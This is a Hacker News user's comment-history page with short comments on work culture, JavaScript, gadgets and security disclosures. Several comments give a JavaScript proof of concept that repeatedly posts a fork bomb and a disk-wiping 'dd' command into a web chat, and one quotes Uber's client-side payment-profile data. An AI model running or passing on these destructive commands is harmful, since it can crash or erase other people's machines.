chadillac

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by chadillac 11y ago
At one point a company I worked for had a similar setup and we did much the same thing. Our office basically turned into a small dorm room (we were all in our early 20's at the time) kind of like you see on the show Workaholics. We h
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by chadillac 11y ago
Hi guys, author here, if you have any questions I'll around to answer them here.
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The Torte Botnet: A SpamBot Investigation [pdf](stateoftheinternet.com)
1 points by chadillac 11y ago|1 comments
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by chadillac 11y ago
Sorry I didn't produce a production ready framework in 10 minutes.
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by chadillac 11y ago
For the doubters, here is a working PoC... works in Chrome. setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);
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by chadillac 11y ago
setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input&
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by chadillac 11y ago
> setInterval(function(){chars=':(){ :|: & };:'.split('');for(i=0;i<chars.length;i++){ $('#chat-input').val($('#chat-input').val()+chars[i]); }; $('#chat-send').click(); }, 100) I
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by chadillac 11y ago
yes, you can.
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by chadillac 11y ago
simple pseudo-code PoC, another 2 minutes of coding to fix that limitation.
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by chadillac 11y ago
> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100) > setTimeout(function(){$('#chat-input').val(':(){ :|: &
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by chadillac 11y ago
If only I'd known sooner, now I'm just over here with a bunch of computer and development knowledge... I should have just studied money.
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by chadillac 11y ago
What, you don't have all night jam sessions at your 3 bedroom house in San Fran? Just picking yourself up by your bootstraps, struggling to make it, in your 3 bedroom house in San Fran. You know, down in the much and the mire, bustin
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by chadillac 11y ago
Same, gists are rate limited?
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by chadillac 11y ago
You'll enjoy this. I know in some larger cities, this is a pretty common thing. In South Florida you'll wander into a pirate radio station pretty often, usually identifiable by it's lack of censorship, poor broadcast qualit
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by chadillac 11y ago
http://www.sciencedirect.com/science/article/pii/S0022519314... Was linked in the article, might shed some light on your question.
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by chadillac 11y ago
Sorry I can't release the tool yet, the suits at my 9-5 are making a stink about my independent research going through their approval process because they contractually own my soul something.
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MDNS misconfiguration (my first public disclosure)(github.com)
1 points by chadillac 11y ago|1 comments
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by chadillac 12y ago
Plot twist, even CR48s can run Arch and other light variants of Linux, with an i7 and 16GB of RAM, I have no doubt these will be capable as well. Now, about that price point...
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by chadillac 12y ago
You gotta checking out "Internet Explorer" on iOS, it's the best mobile game I've ever played.
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by chadillac 12y ago
I bought a "decommissioned" Sony Trinitron monitor for $200 from a company I worked at at the time. It was 27" flat screen, and glorious, was amazing for gaming and counter-strike. Now, carrying it up 3 flights of stairs on
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by chadillac 12y ago
15+ years experience with Node.js and Go a big +++
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by chadillac 12y ago
This highlights the importance of a second and third opinion as well. As the joke goes, "what do you call the guy that graduated last in his class at medical school? Doctor." Doctor's aren't machines, they're more l
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by chadillac 12y ago
Biggest expenses AND biggest liabilities. If I could take a self driving Uber/Lyft/taxi I would do it in a heart beat, my experiences with Uber/Lyft have been much better than a run of the mill taxi which is why I tend to use
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by chadillac 12y ago
Nice work, looks great.
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by chadillac 12y ago
They are very likely maintaining their own apt repos internally, might have been a bug in one of their packages or something that triggered quirkiness, warranting review. Also, ProjectZero...
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by chadillac 12y ago
I wish people would just realize that JavaScript isn't going anywhere and make the effort to understand it instead of trying to gloss over the quirks of it. Understanding the key parts of writing JS (closures, scope, GC, etc.) isn&#x27
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by chadillac 12y ago
Messed with Kivy about 6 months ago, while I love what it is, it suffers from PyGame'ism. Yes you can write games and such, but the end result always just feels bloated and performance hungry. I ended up going with Corona ( http:&#x2
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by chadillac 12y ago
Yikes... >window.Uber.pingData.client.paymentProfiles [ Object cardExpiration: "2014-03-01T00:00:00+00:00" cardExpirationEpoch: 1393632000000 cardNumber: "[last 4]" cardType: &quo
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by chadillac 12y ago
Social engineering uses this a lot. It's rare and catches people of guard when a stranger strikes up a conversation and positioning yourself as friendly and attentive about listening and putting the emphasis on the stranger and not you
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by chadillac 12y ago
+1 for CODE, I can't recommend that book enough to... and when you start talking about Morris code, telegrams, braille, OHMs, and binary math as your build up... well, it really just connects a lot of mental dots.

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